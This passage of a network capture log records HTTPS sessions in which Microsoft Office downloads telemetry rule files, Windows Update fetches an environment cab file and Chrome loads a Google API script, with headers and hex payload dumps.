2024-10-29 14:27:28 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:28 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:28 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:28 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1b4bca5c-501e-000a-63e3-260180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142728Z-17c5cb586f62blg5ss55p9d6fn00000007cg0000000046sv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:28 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:28 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:28 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:28 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142728Z-16849878b78tg5n42kspfr0x4800000006rg000000004q3a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:28 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:28 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:28 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:28 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142728Z-16849878b78smng4k6nq15r6s4000000083000000000h393 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:28 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49816	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:28 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=UNokVD8OU2oltpP&MD=6ZoGlafc HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-29 14:27:29 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 0870e03d-f73e-440a-ac5f-7597b7c163f8 MS-RequestId: abca5e61-af9c-40c6-8522-0988c2a0c650 MS-CV: fSVm/NYIikqEGYJB.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 29 Oct 2024 14:27:28 GMT Connection: close Content-Length: 24490
2024-10-29 14:27:29 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-29 14:27:29 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:28 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:28 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:28 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142728Z-16849878b78wv88bk51myq5vxc00000006ug00000000msqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 14:27:28 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:28 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:29 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:29 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142729Z-16849878b78sx229w7g7at4nkg00000004ug00000000h9mc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:29 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:29 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:29 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:29 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2e8006eb-901e-0083-471c-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142729Z-16849878b786lft2mu9uftf3y400000007u000000000mkyv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:29 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:29 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:29 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:29 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142729Z-16849878b78g2m84h2v9sta29000000005kg00000000926a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:29 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:29 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:29 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:29 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df5d8003-e01e-0099-48f7-26da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142729Z-17c5cb586f6w4mfs5xcmnrny6n00000008c0000000004x3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:29 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49824	216.58.212.174	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:29 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 14:27:29 UTC	914	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 29 Oct 2024 13:59:43 GMT Expires: Wed, 29 Oct 2025 13:59:43 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 1666 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-29 14:27:29 UTC	464	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 